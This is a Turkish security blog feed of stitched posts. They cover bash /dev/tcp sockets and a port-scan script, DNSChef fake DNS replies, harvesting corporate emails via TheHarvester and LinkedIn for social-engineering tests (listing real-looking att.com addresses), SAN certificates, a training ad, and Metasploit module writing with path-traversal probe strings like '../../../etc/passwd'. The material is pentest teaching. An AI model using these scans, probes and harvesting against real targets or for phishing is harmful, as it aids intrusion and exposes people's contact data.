Yine bu işlem aşağıdaki şekildede gerçekleştirilebilir.
# exec 3<>/dev/tcp/192.168.1.11/80
Bu işlem ile 3 numaralı dosya tanımlayıcısı tcp soketi için okuma ve yazma için açılmaktadir. Bu işlem exec komutu ile gerçekleştirilmektedir. Bu işlemin ardından netstat komutu ile açılan soket görüntülenebilir.
# netstat -napt | grep "bash"
tcp 0 0 192.168.0.16:34626 192.168.1.1180 ESTABLISHED 4743/-bash
TCP soketinin açılmasının ardından, HTTP isteği echo ..>& 3 komutu ile gönderilmelidir. Bu işlem ağagıdaki şekilde gerçekleştirilmektedir.
# echo -e "GET / HTTP/1.1\r\nHost: http://192.168.1.11\r\nConnection: close\r\n\r\n" >&3
netstat komutu ile açılan soket görülebilmektedir.
# netstat -anpt | grep 80 | grep bash
tcp 1 67 192.168.0.16:34626 192.168.1.11:80 CLOSE_WAIT 4743/-bash
Açılan soket ise cat <&3 ile okunabilmektedir.
# cat <&3
HTTP/1.1 302 Found
Location: http://192.168.1.11/Cache-Control: private
Content-Type: text/html; charset=UTF-8
...
# netstat -anpt | grep 80 | grep bash
tcp 0 0 192.168.0.16:51858 192.168.1.11:80 CLOSE_WAIT 4743/-bash
Son olarak açılan soket ise exec 3>&- komutu ile sonlandırılamalıdır. 
# exec 3>&-
Tüm bu işlemler yukarıda anlatılan şekilde gerçekleştirilebildiği gibi aşağıda anlatıldığı şekildede gerçekleştirilebilmektedir.
#!/bin/bash
for port in `seq 1 100`
do
     timeout 0.2 bash -c "echo >/dev/tcp/www.google.com/$port" && echo "$port/tcp: open"
done
Betiğin çalıştırılması ile www.google.com adresi için 1-100 arasındaki açık tcp portları listelenmektedir. Betiğin çalıştırılması ve çıktı aşağıdaki gibi olmaktadır.
# ./port_taramaca.sh 2>/dev/null
80/tcp: open
Betik içerisinde kullanılan timeout komutu ile yürütülen komut sonunda cevap gelmemesi halinde belirtilen süre sonunda sonlandırılmaktadir. Bu şekilde tarama süresi oldukça kısalmaktadır. timeout komutu apt-get komutu ile sisteme kurulabilmektedir. Kurulum için aşağıdaki komut kullanılabilir. 
# apt-get -y install timeout






Pentest ve Malware Analizi Çalışmalarında DNS Proxy Kullanımı

$
0
0

Pentest çalışmalarında ve Malware analizinde tüm dns isteklerine istenilen yanıtı verecek yapılandırması son derece kolay bir dns suncuya ihtiyaç duyulur. Bilindik dns sunucular ile (bind,tinydns vb.) bu işi yapmak sancılıdır. DNSchef, bu işlemi pratik olarak yapacak windows ve linux sistemlerde kurulum gerektirmeksizin kullanılabilen bir dns proxy yazılımıdır.


DNSChef ile çalışmak;

# wget http://thesprawl.org/media/projects/dnschef-0.2.1.tar.gz
# tar zxvf dnschef-0.2.1.tar.gz
# cd dnschef-0.2.1

Kullanım parametrelerini görüntülemek için --help parametresi kullanılabilir.
# ./dnschef.py --help

DNSChef Uygulamaları

# ./dnschef.py
          _                _          __
         | | version 0.2  | |        / _|
       __| |_ __  ___  ___| |__   ___| |_
      / _` | '_ \/ __|/ __| '_ \ / _ \  _|
     | (_| | | | \__ \ (__| | | |  __/ |
      \__,_|_| |_|___/\___|_| |_|\___|_|
                   iphelix@thesprawl.org

[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] No parameters were specified. Running in full proxy mode

Eğer herhangi bir parametre kullanılmadan çalıştırılırsa, gelen dns isteklerini varsayılan olarak  tanımlanan 8.8.8.8 ip adresinden sorgulayıp yanıt verecektir.

# host -t A bga.com.tr
bga.com.tr has address 50.22.202.162

Yukarıdaki komut ile bga.com.tr alan adının ip adresi sorgulandı. Böyle bir durumda DNSChef aşağıdaki gibi dns sorgusu yapan ip adresi ve sorgulanan adres ile  ilgili çıktı verecektir.

# ./dnschef.py
          _                _          __
         | | version 0.2  | |        / _|
       __| |_ __  ___  ___| |__   ___| |_
      / _` | '_ \/ __|/ __| '_ \ / _ \  _|
     | (_| | | | \__ \ (__| | | |  __/ |
      \__,_|_| |_|___/\___|_| |_|\___|_|
                   iphelix@thesprawl.org

[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] No parameters were specified. Running in full proxy mode
[15:53:34] 127.0.0.1: proxying the response of type 'A' for bga.com.tr

Tüm dns isteklerine sahte yanıtlar vermek için --fakeip parametresi kullanılır.

Örnek;
Sorgulanan tüm DNS istekleri için 1.1.1.1 ip adresini yanıt olarak döndür.


# ./dnschef.py --fakeip 1.1.1.1 -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] Cooking all A replies to point to 1.1.1.1

Test için host komutunu kullanalım tekrar,

# host -t A bga.com.tr
bga.com.tr has address 1.1.1.1


# host -t A google.com.tr
google.com.tr has address 1.1.1.1


bga.com.tr ve google.com.tr alan adı için 1.1.1.1 ip adresi yanıt olarak geldi. Bu istekler ve sorgulama yapan ip adresleri dnschef ekranında log olarak görünecektir.


# ./dnschef.py --fakeip 1.1.1.1 -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] Cooking all A replies to point to 1.1.1.1
[15:59:26] 127.0.0.1: cooking the response of type 'A' for bga.com.tr to 1.1.1.1
[15:59:52] 127.0.0.1: cooking the response of type 'A' for google.com.tr to 1.1.1.1

Yazar: Ozan UÇAR / ozan.ucar@bga.com.tr

Sosyal Mühendislik Saldırılarında LinkedIN Kullanımı

$
0
0
Sosyal mühendislik, siber korsanlar tarafından uzun yıllardır kullanılan ve her zaman saldırganlar açısından başarım oranı yüksek bir saldırı tipidir. Sosyal mühendislik saldırıları tekniğin ötesinde doğrudan insan psikolojisine hitap etmesi nedeniyle diğer saldırılar gibi kolay engellenebilir bir yapıda değildir.

Bu kadar yaygın ve başarı oranı yüksek bu saldırı tipi henüz bilişim güvenliği uzmanlarının büyük çoğunluğu tarafından ciddi saldırı olarak kabul edilmemektedir.
Bunun temel nedeni de sosyal mühendislik saldırılarının herhangi bir teknik bilgiye sahip olmayi gerektirmeyecek kadar kolay gerçekleştirilebilmesidir. Oysa güvenlikte her zaman zor olan değil, basit olan ve son kullanıcıyı hedef alan saldırılar zarar verir.

Sosyal mühendislik saldırılarının son yıllarda artması sızma testleri kapsamına da girmesine neden olmuştur. Sızma testlerinde genellikle üç çeşit sosyal mühendislik testleri gerçekleştirilmektedir.
  1. Telefon yoluyla gerçekleştirilen testler,
  2. Fiziksel testler,
  3. E-posta kullanarak gerçekleştirilen testler
Sosyal mühendislik saldırılarında en sık tercih edilen yöntem e-posta kullanımıdır. Binlerce insanı telefonla arayarak birşeylere ikna etmek yerine binlerce insana bir adet e-posta göndererek bir linke tıklatmak, bir bilgi girmesini talep etmek daha kolaydır.

BGA tarafından 2012 yılında gerçekleştirilen sızma testlerinde sosyal mühendislik saldırısının başarı oranı %12-15 civarında çıkmıştır. Yapılan tüm testlerin kurumsal firmalara yönelik olduğu düşünülürse bu oranlar oldukca ciddidir.

E-posta üzerinden sosyal mühendislik saldırısı gerçekleştirmek için üç temel bileşene ihtiyaç duyulmaktadır.
Bunlar:
  1. Saldırıda kullanılacak e-posta adresleri (Kurumsal adresler)
  2. Saldırıda kullanılacak senaryo 
  3. IT altyapısı (sahte adreslerden e-posta gönderimi, benzer alan adı satın alma vb)
Kurumsal e-posta adreslerini internetten bulmak icin genellikle aşağıda listelenen yazılımlar kullanılmaktadır.
  • TheHarvester
  • Metasploit Aux 
  • Maltego
Örnek theharvester Araç Kullanımı ve Çıktısı
root@onthetable# ./theHarvester.py  -d att.com -b google -l 1000

*************************************
*TheHarvester Ver. 2.2              *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
*************************************
[-] Searching in Google:
        Searching 0 results...
        Searching 100 results...
        Searching 200 results...
        Searching 300 results...
        Searching 400 results...
        Searching 500 results...
        Searching 600 results...
        Searching 700 results...
        Searching 800 results...
        Searching 900 results...
        Searching 1000 results...

[+] Emails found:
------------------
atttowers@att.com
bev.hoffman@att.com
info@att.com
divesh@research.att.com
lji@research.att.com
peidan@research.att.com
jiawang@research.att.com
shvenk@research.att.com
muthu@research.att.com
bala@research.att.com
haffner@research.att.com
mohri@research.att.com
ba5811@att.com
gchoudhury@att.com
jyates@research.att.com
njas@research.att.com
JobAppAccess@att.com
randall.stephenson@att.com
jl4497@att.com
tfrost@att.com
yoix@research.att.com
dg4305@att.com
fb1932@att.com
anderhog@att.com
attcustomercare@att.com
pamela@research.att.com
jn4238@att.com
dns@att.com
hostmaster@ems.att.com
developers@lists...att.com

Theharvester gibi araçlar genellikle Google, Bing, Yahoo vb arama motorlarını kullanarak ilgili domainlere ait e-postaları aramaktadırlar. Çoğu kurumsal firma bilgi güvenliği politikalarıyla çalışanların internete kurum e-posta adresi ile üye olmalarını yasaklamakta ve bunu düzenli olarak kontrol etmektedir.

Bu durumda internetten e-posta adresi bulmak ve bu adreslere yönelik sosyal mühendislik saldırıları gerçekleştirmek pek mümkün olmamaktadır.

Oysa LinkedIN gibi iş dünyasının kalbi sayılacak bir uygulama ücretsiz olarak bir çok kuruma ait çalışanların bilgilerini barındırmaktadır. Orta ve büyük ölçekli kurumlarda çalışan beyaz yakalıların %60 civarı LinkedIN profiline sahiptir. Bu da ortalama 3.000 çalışanı olak bir kurumun 1.800 çalışanınınLinkedIn hesabı olduğu anlamına gelir.

LinkedIN arabiriminden bir firmada çalışanların profil bilgileri ücretsiz olarak görülebilmektedir.


Bununla birlikte LinkedIN ücretsiz üyelikle her firma için 110 kişiye kadar -eğer üye özelliklerinden gizlenilmediyse- tüm bilgileri uzaktan sağladığı bir api ile almanıza izin vermektedir. Bu paha biçilmez değerdeki bilgileri yazdığımız bir ruby scripti ile almayı denedik ve internette hiç bulamayacağımız kadar kurumsal e-postanın LinkedIN uzerinden alınabileceğini gördük.

Aşağıda geliştirdiğimiz scripte ait çıktı gözükmektedir. AT&T örnek olarak seçilmiş ve bulunan mail adresleri yazılmamıştır fakat script çıktısı firmaya ait tüm ihtimalleri (a.soyad@firma.com, ad.soyad@firma.com,  ad.s@firma.com vb) düşünerek LinkedIN'in izin verdiği sayıda göstermektedir. LinkedIN'e ödenecek cuzi miktarda üyelik aidatı ile her firma için 700'e kadar profile ulaşım sağlanabilmektedir.

# ./linkedin_harvester.rb -s 100 -k "AT%26T"  -e att.com -f att.config -o 1,2,3
d.ritch @att.com.xy
darren.r @att.com.xy
darren.ritch @att.com.xy
j.atkinson@ att.com.xy
james.a@ att.com.xy
james.atkinson@ att.com.xy
v.robinson@att.com.xy
victor.r@att.com.xy
victor.robinson@att.com.xy
m.cheung@att.com.xy
mike.c@att.com.xy
mike.cheung@att.com.xy
p.girardi@att.com.xy
paul.g@att.com.xy
....
Script eklenecek bir kaç özellikle birlikte ilerde Metasploit modülü olarak yayınlanacaktır.

Huzeyfe ÖNAL <huzeyfe.onal@bga.com.tr>

Birden Fazla Alan Adı için Tek Sertifika Kullanımı

$
0
0
SSL sertifikaları genellikle tek bir tam tanımlı alan adı (FQDN) için  yayınlanır ve sadece ilgili FQDN  (CommonName alanında belirtilir) için kullanılırlar. mail.bga.com.tr için hazırlanmış bir sertifika www.bga.com.tr için kullanılamaz.

Bazı durumlarda ilgili alan adına ait birden fazla alt alan adı için sertifika alınması gerekebilir. Kurumsal firmalar her bir alt alan adı (sub domain) için yeni bir sertifika almak yerine tüm alt domainleri kapsayacak şekilde üretilen "Wildcard" sertifika almayı tercih eder.
Wildcard sertifikası ile alan adı  kısmı (CommonName)*.bga.com.tr şeklinde verilir ve tüm bga.com.tr'li alt domainler için kullanılabilir.

Sertifikadaki * karekteri sayesinde alınan sertifika standart sertifikalardaki gibi tek bir alan adı için değil sınırsız sayıda alt alan adı için kullanılabilir olur.

wildcard_sertifika
Resim-1:Wildcard SSL Sertifika Örneği
Wildcard sertifika ile aşağıdaki gibi bir alan adına ait tüm alt alan adları için tek bir sertifika yeterli olacaktır.
  • a.bga.com.tr
  • mail.bga.com.tr
  • www.bga.com.tr
  • netsec.bga.com.tr
Bazı durumda da firmalar birden fazla farklı alan adı için sertifika almak istemektedir. Bu durumda her bir alan adı farklı olduğu için Wildcard sertifika kullanılamaz.

Örnek: Aşağıdaki alan adlarının tamamını içerek bir SSL sertifikası üretilmesi talep edilmektedir.
  • bga.com.tr
  • netsectr.org
  • lifeoverip.net
  • siberguvenlik.org
  • hack2net.com
Farklı alan adlarının tek bir sertifikada olabilmesi için SAN sertifika kullanılması gerekir. SAN (Subject Alternative Name) sertifikalar günümüzdeki modern browserlarin tamamı tarafından desteklenmekte ve birden fazla alan adı için tek bir sertifika yeterli olmaktadır.
subject_alternative_name
Resim-2:SAN(Subject Alternative Name) Örneği
SSL işlemleri için en fazla tercih edilen kütüphane olan OpenSSL SAN desteği sunmaktadır.
Aşağıdaki adımlar kullanılarak birden fazla alan adı için tek bir sertifika isteği üretilebilir.

OpenSSL  Kullanaral SAN  CSR İsteği Oluşturma
openssl req -new -x509 -nodes -config san-openssl.cnf -out /tmp/server.pem -keyout /tmp/server.key -days 365

Üretilen sertifikayı kontrol etmek için aşağıdaki komut yeterli olacaktır.

root@bt:~# openssl x509 -in /tmp/server.pem -noout -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
b6:d6:8e:d2:ab:ea:5c:d8
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=TR, ST=Istanbul, L=Altunizade, O=bga.com.tr, OU=WEB server, CN=*.bga.com.tr/emailAddress=postmaster@bga.com.tr
Validity
Not Before: Feb  9 14:50:38 2013 GMT
Not After : Feb  9 14:50:38 2014 GMT
Subject: C=TR, ST=Istanbul, L=Altunizade, O=bga.com.tr, OU=WEB server, CN=*.bga.com.tr/emailAddress=postmaster@bga.com.tr
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:a1:1f:7c:57:ee:0f:68:90:e7:a0:23:38:97:e0:
9b:79:48:c9:1c:08:a1:32:33:45:ed:76:e8:df:29:
7f:b6:8f:43:68:f1:5f:aa:9f:3b:bf:40:c4:bc:76:
a4:cc:a5:eb:1a:bd:26:c1:44:10:1e:64:04:f4:f7:
c2:2f:43:c5:bb:48:f7:cc:a6:ef:c4:b3:b2:f0:12:
85:1e:f9:ab:05:64:78:e7:aa:71:97:38:a3:5a:15:
e0:10:78:4a:a5:77:ec:0a:f8:fb:9d:2f:ab:ef:fb:
d3:28:4c:72:20:71:9f:b9:d0:c0:e9:6e:27:2a:6c:
f2:d3:af:e6:8d:20:e8:a9:a1
Exponent: 65537 (0x10001)
X509v3 extensions:
Netscape Cert Type:
SSL Server
X509v3 Basic Constraints:
CA:FALSE
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key Encipherment
X509v3 Subject Alternative Name:
DNS:*.bga.com.tr, DNS:hack2net.com, DNS:lifeoverip.net, DNS:siberguvenlik.org, DNS:netsectr.org
Signature Algorithm: sha1WithRSAEncryption
10:45:d5:a8:c5:21:26:7c:bf:50:50:ac:5f:66:b9:69:f0:71:
0c:3e:9f:3a:62:84:0f:38:9d:39:ae:1c:95:3b:50:b9:3f:0a:
f0:08:d6:b1:3c:13:d5:af:a6:e8:1e:22:c1:23:bf:77:d3:04:
a6:8a:fc:b5:ce:d8:0a:eb:53:e6:f3:47:d7:ae:f1:04:88:68:
3e:50:44:97:91:63:d4:2b:2e:d7:19:99:1e:60:aa:62:0a:ba:
ba:b3:81:9b:ef:e7:d3:3a:37:9f:88:c1:e0:25:d2:e6:0a:7f:
2b:d6:d9:7a:92:f1:e8:a5:13:05:fb:d7:d3:5d:1d:fa:96:c5:
SAN_cikti
Resim-3:Oluşturulmuş SAN Sertifika

BGA Bilişim Güvenliği Staj Okulu 2013

$
0
0
Bilişim güvenliği alanında kariyer yapmak isteyen üniversite öğrencilerine Bilgi Güvenliği AKADEMİSİ’nden staj fırsatı.
Bilgi güvenliği AKADEMİSİ, 21. yüzyılın en önemli mesleklerinden biri olarak görülen Siber Güvenlik konusunda kendini yetiştirmek, kariyerini siber güvenlik konusunda ilerletmek isteyen üniversite öğrencilerini BGA Staj Okulu’na davet ediyor.

Bilgi Güvenliği AKADEMİSİ’nin bilgi/bilişim güvenliği konusundaki deneyim ve uzmanlığını öğrenciler ile paylaşacağı “BGA Staj Okulu” gerçek proje uygulamalarıyla katılımcılarına güvenlik konusunda yeni deneyimler ve farklı bakış açısı sunacaktır.

Başarılı stajer öğrencilere Türkiye’deki bilişim güvenliği firmalarında yarı/tam zamanlı çalışma konusunda destek sağlanacaktır.
BGA Staj Okulu Programı kamsamında 3 üniversite öğrencisi alınacaktır.

Aranan Nitelikler:
    • Üniversitelerin 3, 4 (uzatmalı öğrenciler için) sınıflarında okuyor olmak
    • Meslek yüksek okullarının ilgili bölümlerinde okuyor olmak
    • Orta/iyi seviye Linux bilgisi
    • Herhangi bir programlama dili kullanarak bir yazılım geliştirmiş olmak (C, Python, Ruby tercih sebebidir)
    • Temel Networking bilgisi


    Staj programı kapsamında her bir öğrenciyle bilişim güvenliğinin bir alanında özel olarak ilgilenilecek ve bilişim güvenliği konulu yazılım projesi geliştirilmesi sağlanacaktır.

    Başvuru Tarihleri
    Staj başvuruları 15 Mart 2013′e kadar devam edecektir. Staja kabul edilen öğrenciler Nisan ayında http://blog.bga.com.tr adresinden duyurulacaktır.Mülakat Tarihleri:Başvuru sonrası kabul edilen öğrencilerle mülakat yapılacaktır. Nihai başvuru sonuçları mülakat sonrası belli olacaktır.

    BGA Staj Okulu Tarihi
    Staj dönemi Haziran-Temmuz-Ağustos 2013 olarak belirlenmiştir.

    Başvuru İşlemleri
    Başvuru formu http://www.bga.com.tr/kayit.html
    Kayıt formuyla birlikte üniversite hocalarından alınacak referans mektupları değerlendirme aşamasında önem taşımaktadır.

    Değerlendirme Süreci
    Aday Başvurularını değerlendirilmesi sırasında göz önünde bulundurulan kriterler:
    • Adayın önceki staj deneyimleri
    • Referans bilgisi
    • Başvuruda bulundukları alanda ilerleme istekleri
    • Yaptıkları projeler
    Stajerleri Neler Beklemektedir?
    • Stajerler bilişim güvenliğinin en zevkli konularında proje geliştirmek üzere yetiştirilecektir.
    • BGA bünyesindeki danışmanlarla gerçek projelerde bire bir çalışma fırsatı
    • Gerçek ortamlarda kullanılabilecek proje geliştirme fırsatı
    • Ücretsiz Blgi Güvenliği AKADEMİSİ eğitimlerine katılma imkanı
    İletişim: Staj ve diğer konularla ilgili bilgi@bga.com.tr adresine e-posta gönderebilirsiniz.

    ISO 22301 İş Sürekliliği Yönetim Sistemi Uygulama Eğitimi

    $
    0
    0
    İş sürekliliği, bir işletmenin ürün ve servislerini kesinti olayı sonrasında kabul edilebilir seviyede sürdürebilme kapasitesidir. İşletmenin iş süreçlerinin ne kadar kesintiye tahammül edebildiği ve süreçleri ön görülen süre içerisinde tekrar çalışır hale getirmek için neler yapılması gerektiği iş sürekliliği çalışmalarının temelini oluşturmaktadır.

    Bu eğitimde bir işletmenin ISO22301 standardına uygun İş Sürekliliği Yönetim Sistemi kurabilmesi için gerekli tüm bilgiler ve kavramlar uygulamalı olarak sunulacaktır.

    Eğitim süresince İş Etki Analizi, Risk Analizi ve Tatbikat uygulamaları gerçekleştirilmektedir. Ek olarak ISO22301 kontrollerinin öğrenilmesine yönelik alıştırmalar yapılmaktadır.

    Kimler Katılmalıdır?

    Kurumlarında iş sürekliliği çalışmalarını yürüten yöneticiler veya uzmanlar, iş sürekliliği çalışması yürütecek profesyoneller,  kurumlarında risk yönetimi alanında çalışan yöneticiler veya uzmanlar, iş sürekliliği konusunda kariyer planlayan uzmanlar, IT Risk yöneticileri, bilgi güvenliği yöneticileri, iş sürekliliği ekiplerinde yer alan orta ve üst seviye yöneticiler, iş sürekliliği uzmanları 

    Eğitmen:

    Ali DİNÇKAN
    CBCI, CISA, CRISC, CEH, CCNP

    Eğitim Ücreti:

    Bilgi için lütfen egitim@bga.com.tr adresine İSY-02 konulu e-posta gönderiniz veya 0 216 474 00 38  numaralı telefonu arayınız.

    Eğitim İçeriği:


    İş Sürekliliği ve ISO22301


      • İş sürekliliği nedir? İş Sürekliliği Yönetimi nedir?
      • Organizasyona ne kazandırır?
      • İş sürekliliği yönetiminde yaygın kullanılan standartlar ve en iyi uygulamalar
      • İş sürekliliği yönetimi temel parçalarının tanıtımı
      Planlama Aşaması - Organizasyonun İçeriği


      • Organizasyonu ve içeriğini anlamak (iç ve dış konular)
      • İlgili tarafların ihtiyaçlarını ve beklentilerini anlamak
      • Yönetim Sisteminin kapsamını belirleme
      • İş Sürekliliği Yönetim Sistemi
    Planlama Aşaması – Liderlik


      • Üst yönetim taahhüdü
      • Üst yönetim sorumlulukları
      • İş sürekliliği politikası ve politika örneği
      • Sorumlulukların atanması
    Planlama Aşaması-Planlama


      • Risk ve fırsatlar için aksiyonları belirleme
      • İş Sürekliliği hedefleri
    Planlama Aşaması – Destek


      • Kaynaklar yetkinlikler farkındalık
      • Eğitim ihtiyaç analizi
      • Eğitim planı ve yıllık eğitim planı örneği
      • Eğitim sonrası faaliyetler
      • Üst yönetim farkındalığı ve İSYS kurulum eğitimleri
      • Kurtarma takımı eğitimleri ve tatbikat eğitimleri
      • Genel farkındalık eğitimleri
      • Dokümante edilmiş bilgi kavramı
      • Gerekli prosedür ve süreçler
      • Dokümantasyon genel bakış
      Uygulama Aşaması – Operasyon - İş Etki Analizi Kavramlar, Teknikler ve Uygulamalar


      • İş etki analizi nedir ve iş sürekliliği çalışmalarındaki yeri neresidir
      • Temel kavramlar
          - RTO, RPO, MTPoD (MAO) kavramları
          - Risk yönetimi ve İş Etki Analizi arasındaki ilişki
          - İş etki analizi metodolojileri ve farklı yaklaşımlara örnekler
          - Eğitmen tarafından uygulanmış iş etki analizi metodolojilerinin tanıtımı,
    yaşanan zorluklar, farklı metodolojilerin iyi ve kötü yanları, tecrübe paylaşımı.
      • İş Etki Analizi (İEA) süreci
          - İEA amaçlarının, kapsamın ve kabullenmelerinin belirlenmesi
          - İEA sürecinin rol ve sorumlulukları
          - Organizasyonun anahtar ürün ve servislerinin belirlenmesi
          - Anahtar ürün ve servisleri destekleyen faaliyetlerin belirlenmesi
          - Faaliyetlerde yaşanabilecek kesintilerin etkilerinin belirlenmesi
          - İş süreçlerini destekleyen kaynakların (BT veya değil) belirlenmesi
          - Kritik faaliyetleri destekleyen tedarikçilerin belirlenmesi
          - Kaynak seviyesinde RTO ve RPO değerlerinin belirlenmesi
          - İş sürekliliği planlamasında kullanılacak bilgilerin toplanması
          - İş etki analizi yaşam döngüsü
          - İş etki analizi çıktılarının iş sürekliliği planlamasında kullanımı
      • İş etki analizi ile ilgili ISO22301 şartlarının açıklanması ve iş etki analizi sürecinin özeti.
      • İş Etki Analizi Uygulaması
      Uygulama Aşaması – Operasyon – İş Sürekliliğinde Risk Yönetimi


      • İş sürekliliği risk yönetimi nedir ve iş sürekliliği çalışmalarındaki yeri
      • Risk kavramları
         - İş sürekliliği riski nedir? Hangi tür riskler bu kapsama girer?
          - Risk ölçüm metrikleri nelerdir?
          - Risk değerlendirme metodolojilerine örnekler
      • İş sürekliliği risk yönetiminde dikkat edilecek hususlar
          - Üst yönetim desteği
          - Bilgi /veri toplama yöntemleri
      • İş Sürekliliği risk yönetimi
          - Risk analizi
          - Risk kontrol seçenekleri
          - Maliyet ve etkin kontrol seçimi
          - Risk raporlama
          - Kontrol kararı alma
          - Kontrollerin uygulanması
          - Risklerin izlenmesi ve sürekli iyileştirme
      • Sonuçlar nerede kullanılacak?
      • İş sürekliliği risk yönetimi ile ilgili ISO22301 şartlarının açıklanması
     ve risk yönetimi çalışmalarının özeti.
      • Risk Analizi Uygulaması
      Uygulama Aşaması – Operasyon – İş sürekliliği Strateji Geliştirme Çalışmaları


      • İş sürekliliği yönetim stratejilerinin tanıtımı
      • Strateji seçeneklerinin belirlenmesi ve karar verilmesi
          - İnsan kaynağı stratejileri ve örnekleri
          - Yerleşke stratejileri ve örnekleri
          - Teknoloji stratejileri ve örnekleri
          - Bilgi stratejileri ve örnekleri
          - Tedarikçiler stratejileri ve örnekleri
          - Paydaşlar stratejileri ve örnekleri
          - Haberleşme stratejileri ve örnekleri
      • İş sürekliliği stratejileri ile ilgili ISO22301 şartlarının açıklanması
      Uygulama Aşaması – Operasyon – İş sürekliliği Planları ve Prosedürleri


     • Olay yönetim sürecinin tasarlanması ve hayata geçirilmesi
     • Olay tepki yapısının oluşturulması
     • Olay yönetim planlarının tanıtımı ve içeriği
          - Görev ve işlem listeleri
          - Acil durum iletişim bilgileri
          - Roller ve sorumluluklar
          - Medya ile ilişkiler
          - Olay yönetim lokasyonu
      • Olay yönetim planı ile ilgili ISO22301 şartlarının açıklanması ve denetlenmesi.
      • İş sürekliliği planları
          - Amaç ve kapsam
          - Plan aktivasyonu
          - Roller ve sorumluluklar
          - Acil durum senaryoları ve kurtarma stratejileri
          - Aksiyon planları ve iş listeleri
          - Kaynak ihtiyaçları
          - Acil durum iletişim bilgileri
          - Plan bakım, güncelleme, tatbikat bilgileri
      • İş sürekliliği planı ile ilgili ISO22301 şartlarının açıklanması ve
      iş sürekliliği planlarının denetimi.
      Uygulama Aşaması – Operasyon – İş sürekliliği Tatbikat ve Testleri


      İş sürekliliği tatbikat kavramı ve çeşitleri
      • İş sürekliliği planlamasında tatbikatların yeri
      • Tatbikat programı hazırlama ve içeriğinde bulunması gerekenler
      • Kapsam belirleme
            - Tatbikat amaçları
            - Tatbikat türü
            - Katılımcılar ve katılımcıların görev ve sorumlulukları
            - Tatbikat ile ilgili kabullenmeler ve kısıtlar
      • Tatbikat süreci tasarımı ve uygulanması
      • Tatbikatın hazırlığı
          - Geçmiş tatbikat planlarının ve sonuçlarının gözden geçirilmesi
          - Tatbikat stratejisinin geliştirilmesi
          - Tatbikatın zamanı
          - Tatbikat senaryosu
          - Değerlendirme kriterleri
          - Tatbikat bütçesi
          - Tatbikat ortamının hazırlanması
          - Tatbikat takviminin belirlenmesi
          - Tatbikat risklerinin belirlenmesi
          - Tatbikat lojistiğinin belirlenmesi
          - Tatbikat planının hazırlanması ve onayı
      • Tatbikat gerçekleme ve ölçümler
          - Tatbikat öncesi son hazırlıklar
          - Tatbikatın gerçekleştirilmesi
      • Tatbikat sonrası değerlendirmeler
          - Tatbikata hazırlık aşamasında yaşanan sıkıntılar
          - Tatbikat hedeflerinin karşılanma durumu
          - İş sürekliliği takımlarının performansları
          - İş sürekliliği planı ve kurtarma planlarının geçerliliği, güncelliği ve yeterliliği
          - Kurtarma amacıyla kullanılan kaynakların ve ortamın yeterliliği
          - Tatbikat değerlendirme kriterlerinin sonuçları
          - Geliştirme önerileri (Taslak iş planı)
      • İş sürekliliği tatbikatları ile ilgili ISO22301 şartlarının açıklanması
      ve iş sürekliliği tatbikatlarının denetlenmesi
      Kontrol Et Aşaması – Performans ve Değerlendirme


      • İzleme, Ölçme, analiz ve değerlendirme
      • İç denetim
          - İç denetimden beklenti
          - İç denetim aşamaları
          - Denetim programı
          - Denetim planları
          - Denetim ekibi
          - Denetim sonrası
      • Yönetim gözden geçirmesi
      • Tedarikçi değerlendirmeleri
          - İş sürekliliği çalışmaları değerlendirilecek tedarikçilerin
     (üretici ve/veya hizmet sağlayıcıların) belirlenmesi
          - Değerlendirme teknikleri
          - Değerlendirme sonuçlarının gözden geçirilerek iyileştirme adımlarının belirlenmesi
          - Üretici ve hizmet sağlayıcı değerlendirme programının hazırlanması ve işletimi
      Önlem Al Aşaması – İyileştirme


      • Uygunsuzluk ve düzeltici faaliyet
      • Sürekli İyileştirme



    Metasploit İçin Yardımcı Modül(Auxiliary) Geliştirme

    $
    0
    0
    Metasploit’in hali hazırda birçok istismarı veya çok çeşitli amaçlarla yazılmış bir çok modülü barındırmasının yanı sıra özel amaçlı modüllerin veya istismarların da hızlıca geliştirilmesine olanak tanıması günümüzde çoğu sızma test uzmanının veya istismar geliştiricisinin vazgeçilmez araçlarından biri olmasını sağlamıştır.

    Bir iş için ayrı bir betik yazmak yerine bunu bir Metasploit modülü olarak yazmanın başlıca getirisi bu modülü Metasploit’in diğer modülleriyle etkileşim içinde kullanma imkanı elde etmemizdir.
    Dokümanın amacı hedef sistemdeki saldırı engelleme sisteminin varlığını tespit edecek bir modül örneği üzerinden Metasploit için yardımcı modül yazımını anlatmaktır. Dokümanı rahatça takip edebilmek içinse Metasploit kullanımına hakim olmak ve giriş seviyesinde Ruby bilmek yeterli olacaktır.

    Metasploit’in genel mimarisi Metasploit için mükemmel bir kaynak olan “Metasploit Unleashed” sayfasından alınan aşağıdaki resimde görülebilir.


    Modül geliştirmek için her ne kadar genel yapıyı tanımamız gerekse de bizi esas ilgilendiren bölüm kütüphanelerdir. Metasploit’te üç temel kütüphane vardır MSF BASE, MSF CORE ve REX fakat modüllerde gerektiğinde diğer ruby kütüphaneleri de kullanılabilir. Bunlardan MSF BASE Metasploit yazılım çatısının ihtiyaç duyduğu en temel özellikleri barındırır. MSF CORE ise Metasploit’i Metasploit yapan programlama arayüzünü sağlar. REX de soketler, protokoller, kodlayıcılar gibi çok çeşitli işlerden sorumlu kütüphanedir.

    Metasploit, modül geliştirmek isteyenler için farklı türde modüllerin taslaklarıyla beraber gelir. Bu taslaklara Metasploit ana dizini altındaki documentation/samples/modules/ dizininden ulaşabilirsiniz.

    Bir modül taslağı seçip bunun üzerinden kendi modülümüzü yazmaya başlamadan önce modülün yapacağı işi ve kategorisini tanımlamamız gerekir. Örnek modül hedef sunucuya HTTP GET metodu ile saldırı engelleme sistemlerinin engellemek isteyeceği aşağıdaki dört farklı isteği gönderip isteğin engellenip engellenmemesini baz alarak bir tahmin yürütsün.
    '../../../etc/passwd'
    'etc/passwd'
    '../../../cmd.exe'
    ‘cmd.exe'

